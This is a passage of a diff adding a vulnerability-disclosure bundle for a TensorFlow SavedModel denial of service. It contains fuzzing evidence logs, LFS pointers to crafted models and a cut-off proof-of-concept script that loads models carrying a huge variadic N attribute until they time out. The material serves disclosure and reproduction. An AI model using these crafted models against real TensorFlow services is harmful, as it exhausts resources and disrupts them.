+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216423.925173 3089433 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216425.270036 3089433 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nCommand exited with non-zero status 124\nTIME_RESULT real=12.42 user=7.27 sys=5.14 maxrss_kb=6139352 exit=124\n",
177
+ "stdout_tail": "before_load 1782216425.5718942\n",
178
+ "time_exit": 124,
179
+ "time_real_sec": 12.42,
180
+ "time_sys_sec": 5.14,
181
+ "time_user_sec": 7.27
182
+ }
183
+ ]
184
+ }
evidence/structured-load-v2-20260623.json ADDED
@@ -0,0 +1,261 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "baseline": "targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model",
3
+ "baseline_result": {
4
+ "child_json": {
5
+ "duration_sec": 1.87,
6
+ "loaded_type": "_UserObject",
7
+ "mode": "load",
8
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model",
9
+ "status": "ok"
10
+ },
11
+ "elapsed_sec": 2.302,
12
+ "exit_code": 0,
13
+ "signal": null,
14
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216135.388355 3060699 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216136.674714 3060699 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
15
+ "stdout_tail": "{\"duration_sec\": 1.87, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model\", \"status\": \"ok\"}"
16
+ },
17
+ "mode": "load",
18
+ "mutants": [
19
+ {
20
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge",
21
+ "name": "all_output_shapes_huge",
22
+ "result": {
23
+ "child_json": {
24
+ "duration_sec": 1.786,
25
+ "exception": "Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 1 and 9223372036854775000. Shapes are [1] and [9223372036854775000].",
26
+ "exception_type": "ValueError",
27
+ "mode": "load",
28
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge",
29
+ "status": "exception"
30
+ },
31
+ "elapsed_sec": 2.249,
32
+ "exit_code": 0,
33
+ "signal": null,
34
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216137.673822 3060862 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216138.927507 3060862 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
35
+ "stdout_tail": "{\"duration_sec\": 1.786, \"exception\": \"Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 1 and 9223372036854775000. Shapes are [1] and [9223372036854775000].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge\", \"status\": \"exception\"}"
36
+ },
37
+ "saved_model_pb_size": 8268
38
+ },
39
+ {
40
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape",
41
+ "name": "float_const_huge_shape",
42
+ "result": {
43
+ "child_json": {
44
+ "duration_sec": 1.828,
45
+ "exception": "Shape [3037000500,3037000500] is too large (more than 2**63 - 1 entries) for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugproto dtype: DT_FLOAT tensor_shape { dim { size: 3037000500 } dim { size: 3037000500 } } float_val: 1>]()' with input shapes: .",
46
+ "exception_type": "ValueError",
47
+ "mode": "load",
48
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape",
49
+ "status": "exception"
50
+ },
51
+ "elapsed_sec": 2.334,
52
+ "exit_code": 0,
53
+ "signal": null,
54
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216139.926585 3061682 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216141.187758 3061682 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
55
+ "stdout_tail": "{\"duration_sec\": 1.828, \"exception\": \"Shape [3037000500,3037000500] is too large (more than 2**63 - 1 entries) for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugproto dtype: DT_FLOAT tensor_shape { dim { size: 3037000500 } dim { size: 3037000500 } } float_val: 1>]()' with input shapes: .\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_huge_shape\", \"status\": \"exception\"}"
56
+ },
57
+ "saved_model_pb_size": 8279
58
+ },
59
+ {
60
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape",
61
+ "name": "float_const_negative_shape",
62
+ "result": {
63
+ "child_json": {
64
+ "duration_sec": 1.798,
65
+ "exception": "Shape [-2] is not fully defined for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugstr dtype: DT_FLOAT tensor_shape { dim { size: -2 } } float_val: 1>]()' with input shapes: .",
66
+ "exception_type": "ValueError",
67
+ "mode": "load",
68
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape",
69
+ "status": "exception"
70
+ },
71
+ "elapsed_sec": 2.298,
72
+ "exit_code": 0,
73
+ "signal": null,
74
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216142.276920 3062876 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216143.507232 3062876 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
75
+ "stdout_tail": "{\"duration_sec\": 1.798, \"exception\": \"Shape [-2] is not fully defined for '{{node add/y}} = Const[_output_shapes=[[]], dtype=DT_FLOAT, value=<TensorProto: goo.gle/debugstr dtype: DT_FLOAT tensor_shape { dim { size: -2 } } float_val: 1>]()' with input shapes: .\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_negative_shape\", \"status\": \"exception\"}"
76
+ },
77
+ "saved_model_pb_size": 8276
78
+ },
79
+ {
80
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape",
81
+ "name": "float_const_zero_huge_shape",
82
+ "result": {
83
+ "child_json": {
84
+ "duration_sec": 1.812,
85
+ "exception": "Node 'add/y' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Shapes must be equal rank, but are 3 and 0",
86
+ "exception_type": "ValueError",
87
+ "mode": "load",
88
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape",
89
+ "status": "exception"
90
+ },
91
+ "elapsed_sec": 2.255,
92
+ "exit_code": 0,
93
+ "signal": null,
94
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216144.596537 3064015 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216145.822079 3064015 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
95
+ "stdout_tail": "{\"duration_sec\": 1.812, \"exception\": \"Node 'add/y' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Shapes must be equal rank, but are 3 and 0\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/float_const_zero_huge_shape\", \"status\": \"exception\"}"
96
+ },
97
+ "saved_model_pb_size": 8283
98
+ },
99
+ {
100
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive",
101
+ "name": "function_recursive",
102
+ "result": {
103
+ "child_json": {
104
+ "duration_sec": 1.702,
105
+ "exception": "('There is a cyclic dependency between functions. ', \"Could not resolve ['__inference_serve_6', '__inference_signature_wrapper_serve_12'].\")",
106
+ "exception_type": "ValueError",
107
+ "mode": "load",
108
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive",
109
+ "status": "exception"
110
+ },
111
+ "elapsed_sec": 2.105,
112
+ "exit_code": 0,
113
+ "signal": null,
114
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216146.810410 3065014 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216148.002599 3065014 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
115
+ "stdout_tail": "{\"duration_sec\": 1.702, \"exception\": \"('There is a cyclic dependency between functions. ', \\\"Could not resolve ['__inference_serve_6', '__inference_signature_wrapper_serve_12'].\\\")\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/function_recursive\", \"status\": \"exception\"}"
116
+ },
117
+ "saved_model_pb_size": 8355
118
+ },
119
+ {
120
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/pack_n_huge",
121
+ "name": "pack_n_huge",
122
+ "result": {
123
+ "elapsed_sec": 25.71,
124
+ "exit_code": null,
125
+ "signal": "TIMEOUT",
126
+ "stderr_tail": "",
127
+ "stdout_tail": ""
128
+ },
129
+ "saved_model_pb_size": 8267
130
+ },
131
+ {
132
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge",
133
+ "name": "placeholder_shape_huge",
134
+ "result": {
135
+ "child_json": {
136
+ "duration_sec": 1.707,
137
+ "loaded_type": "_UserObject",
138
+ "mode": "load",
139
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge",
140
+ "status": "ok"
141
+ },
142
+ "elapsed_sec": 2.172,
143
+ "exit_code": 0,
144
+ "signal": null,
145
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216174.645252 3068182 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216175.809020 3068182 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
146
+ "stdout_tail": "{\"duration_sec\": 1.707, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_huge\", \"status\": \"ok\"}"
147
+ },
148
+ "saved_model_pb_size": 8262
149
+ },
150
+ {
151
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge",
152
+ "name": "placeholder_shape_zero_huge",
153
+ "result": {
154
+ "child_json": {
155
+ "duration_sec": 1.74,
156
+ "loaded_type": "_UserObject",
157
+ "mode": "load",
158
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge",
159
+ "status": "ok"
160
+ },
161
+ "elapsed_sec": 2.153,
162
+ "exit_code": 0,
163
+ "signal": null,
164
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216176.815881 3068332 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216178.008760 3068332 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
165
+ "stdout_tail": "{\"duration_sec\": 1.74, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/placeholder_shape_zero_huge\", \"status\": \"ok\"}"
166
+ },
167
+ "saved_model_pb_size": 8260
168
+ },
169
+ {
170
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection",
171
+ "name": "remove_main_op_collection",
172
+ "result": {
173
+ "child_json": {
174
+ "duration_sec": 1.772,
175
+ "loaded_type": "_UserObject",
176
+ "mode": "load",
177
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection",
178
+ "status": "ok"
179
+ },
180
+ "elapsed_sec": 2.215,
181
+ "exit_code": 0,
182
+ "signal": null,
183
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216178.970430 3068519 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216180.178788 3068519 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
184
+ "stdout_tail": "{\"duration_sec\": 1.772, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/remove_main_op_collection\", \"status\": \"ok\"}"
185
+ },
186
+ "saved_model_pb_size": 8230
187
+ },
188
+ {
189
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape",
190
+ "name": "restore_names_huge_shape",
191
+ "result": {
192
+ "child_json": {
193
+ "duration_sec": 1.678,
194
+ "exception": "Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].",
195
+ "exception_type": "ValueError",
196
+ "mode": "load",
197
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape",
198
+ "status": "exception"
199
+ },
200
+ "elapsed_sec": 2.062,
201
+ "exit_code": 0,
202
+ "signal": null,
203
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216181.178582 3069108 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216182.359066 3069108 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
204
+ "stdout_tail": "{\"duration_sec\": 1.678, \"exception\": \"Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_names_huge_shape\", \"status\": \"exception\"}"
205
+ },
206
+ "saved_model_pb_size": 8267
207
+ },
208
+ {
209
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape",
210
+ "name": "restore_slices_huge_shape",
211
+ "result": {
212
+ "child_json": {
213
+ "duration_sec": 1.664,
214
+ "exception": "Node 'RestoreV2/shape_and_slices' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].",
215
+ "exception_type": "ValueError",
216
+ "mode": "load",
217
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape",
218
+ "status": "exception"
219
+ },
220
+ "elapsed_sec": 2.04,
221
+ "exit_code": 0,
222
+ "signal": null,
223
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216183.246479 3069252 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216184.414720 3069252 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
224
+ "stdout_tail": "{\"duration_sec\": 1.664, \"exception\": \"Node 'RestoreV2/shape_and_slices' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 2147483647 and 1. Shapes are [2147483647] and [1].\", \"exception_type\": \"ValueError\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/restore_slices_huge_shape\", \"status\": \"exception\"}"
225
+ },
226
+ "saved_model_pb_size": 8267
227
+ },
228
+ {
229
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge",
230
+ "name": "signature_dims_huge",
231
+ "result": {
232
+ "child_json": {
233
+ "duration_sec": 1.702,
234
+ "loaded_type": "_UserObject",
235
+ "mode": "load",
236
+ "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge",
237
+ "status": "ok"
238
+ },
239
+ "elapsed_sec": 2.073,
240
+ "exit_code": 0,
241
+ "signal": null,
242
+ "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216185.309818 3069305 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216186.465534 3069305 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
243
+ "stdout_tail": "{\"duration_sec\": 1.702, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/signature_dims_huge\", \"status\": \"ok\"}"
244
+ },
245
+ "saved_model_pb_size": 8303
246
+ },
247
+ {
248
+ "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/string_join_n_huge",
249
+ "name": "string_join_n_huge",
250
+ "result": {
251
+ "elapsed_sec": 25.76,
252
+ "exit_code": null,
253
+ "signal": "TIMEOUT",
254
+ "stderr_tail": "",
255
+ "stdout_tail": ""
256
+ },
257
+ "saved_model_pb_size": 8267
258
+ }
259
+ ],
260
+ "python": "3.12.3 (main, Mar 23 2026, 19:04:32) [GCC 13.3.0]"
261
+ }
models/control_saved_model/fingerprint.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
3
+ size 97
models/control_saved_model/saved_model.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:f9bf38bbc3b1a6e31e47e226c1b82d47d358bae62bef99e3304435015d695dab
3
+ size 8263
models/control_saved_model/variables/variables.data-00000-of-00001 ADDED
Binary file (86 Bytes). View file
 
models/control_saved_model/variables/variables.index ADDED
Binary file (144 Bytes). View file
 
models/pack_n_250m_saved_model/fingerprint.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
3
+ size 97
models/pack_n_250m_saved_model/saved_model.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:4c132f37ca7bea1f44191c42c9cff199bb31071f76d35af0de2a3bc0d93a27e5
3
+ size 8266
models/pack_n_250m_saved_model/variables/variables.data-00000-of-00001 ADDED
Binary file (86 Bytes). View file
 
models/pack_n_250m_saved_model/variables/variables.index ADDED
Binary file (144 Bytes). View file
 
models/string_join_n_250m_saved_model/fingerprint.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2
3
+ size 97
models/string_join_n_250m_saved_model/saved_model.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:98456d6f26935635c55a4ad7c4f8ebb5015e255f3d3bd88d315fce92f7ed303c
3
+ size 8266
models/string_join_n_250m_saved_model/variables/variables.data-00000-of-00001 ADDED
Binary file (86 Bytes). View file
 
models/string_join_n_250m_saved_model/variables/variables.index ADDED
Binary file (144 Bytes). View file
 
repro_savedmodel_variadic_n_dos.py ADDED
@@ -0,0 +1,158 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Reproduce TensorFlow SavedModel load-time resource exhaustion.
3
+
4
+ The included malicious SavedModel directories are valid SavedModel layouts whose
5
+ `saved_model.pb` files differ from the control by one variadic op attribute:
6
+ `N=250000000` on either a `Pack` node or a `StringJoin` node. Loading the model
7
+ forces TensorFlow's NodeDef validation to expand the variadic input signature
8
+ from this untrusted value before rejecting the malformed node.
9
+ """
10
+
11
+ from __future__ import annotations
12
+
13
+ import argparse
14
+ import json
15
+ import os
16
+ import re
17
+ import shutil
18
+ import subprocess
19
+ import sys
20
+ import time
21
+ from pathlib import Path
22
+
23
+
24
+ ROOT = Path(__file__).resolve().parent
25
+ MODELS = ROOT / "models"
26
+
27
+ CHILD = r"""
28
+ import os
29
+ import sys
30
+ import time
31
+
32
+ os.environ.setdefault("CUDA_VISIBLE_DEVICES", "")
33
+ os.environ.setdefault("TF_CPP_MIN_LOG_LEVEL", "2")
34
+ os.environ.setdefault("OMP_NUM_THREADS", "1")
35
+ os.environ.setdefault("TF_NUM_INTEROP_THREADS", "1")
36
+ os.environ.setdefault("TF_NUM_INTRAOP_THREADS", "1")
37
+
38
+ import tensorflow as tf
39
+
40
+ try:
41
+ tf.config.threading.set_inter_op_parallelism_threads(1)
42
+ tf.config.threading.set_intra_op_parallelism_threads(1)
43
+ except Exception:
44
+ pass
45
+
46
+ print("before_load", time.time(), flush=True)
47
+ loaded = tf.saved_model.load(sys.argv[1])
48
+ print("after_load", time.time(), type(loaded).__name__, flush=True)
49
+ """
50
+
51
+
52
+ def run_with_time(model_dir: Path, timeout_sec: int) -> dict:
53
+ env = dict(os.environ)
54
+ env.update(
55
+ {
56
+ "CUDA_VISIBLE_DEVICES": "",
57
+ "TF_CPP_MIN_LOG_LEVEL": "2",
58
+ "OMP_NUM_THREADS": "1",
59
+ "TF_NUM_INTEROP_THREADS": "1",
60
+ "TF_NUM_INTRAOP_THREADS": "1",
61
+ }
62
+ )
63
+
64
+ time_bin = shutil.which("time") or "/usr/bin/time"
65
+ timeout_bin = shutil.which("timeout")
66
+ if not Path(time_bin).exists() or timeout_bin is None:
67
+ raise RuntimeError("This PoC expects GNU /usr/bin/time and timeout on Linux")
68
+
69
+ cmd = [
70
+ time_bin,
71
+ "-f",
72
+ "TIME_RESULT real=%e user=%U sys=%S maxrss_kb=%M exit=%x",
73
+ timeout_bin,
74
+ f"{timeout_sec}s",
75
+ sys.executable,
76
+ "-c",
77
+ CHILD,
78
+ str(model_dir),
79
+ ]
80
+
81
+ started = time.time()
82
+ proc = subprocess.run(
83
+ cmd,
84
+ text=True,
85
+ stdout=subprocess.PIPE,
86
+ stderr=subprocess.PIPE,
87
+ env=env,
88
+ )
89
+ elapsed = round(time.time() - started, 3)
90
+ result = {
91
+ "model_dir": str(model_dir),
92
+ "saved_model_pb_size": (model_dir / "saved_model.pb").stat().st_size,
93
+ "exit_code": proc.returncode,
94
+ "timeout_sec": timeout_sec,
95
+ "elapsed_sec_parent": elapsed,
96
+ "stdout_tail": proc.stdout[-1000:],
97
+ "stderr_tail": proc.stderr[-2000:],
98
+ }
99
+ match = re.search(
100
+ r"TIME_RESULT real=(?P<real>\S+) user=(?P<user>\S+) "
101
+ r"sys=(?P<sys>\S+) maxrss_kb=(?P<rss>\S+) exit=(?P<exit>\S+)",
102
+ proc.stderr,
103
+ )
104
+ if match:
105
+ result.update(
106
+ {
107
+ "time_real_sec": float(match.group("real")),
108
+ "time_user_sec": float(match.group("user")),
109
+ "time_sys_sec": float(match.group("sys")),
110
+ "maxrss_kb": int(match.group("rss")),
111
+ "time_exit": int(match.group("exit")),
112
+ "timed_out": int(match.group("exit")) == 124,
113
+ }
114
+ )
115
+ return result
116
+
117
+
118
+ def main() -> int:
119
+ parser = argparse.ArgumentParser()
120
+ parser.add_argument("--timeout", type=int, default=12)
121
+ parser.add_argument(
122
+ "--exploit",
123
+ choices=["pack", "string_join"],
124
+ default="pack",
125
+ help="Which included malicious SavedModel to load.",
126
+ )
127
+ parser.add_argument("--json-out", type=Path)
128
+ args = parser.parse_args()
129
+
130
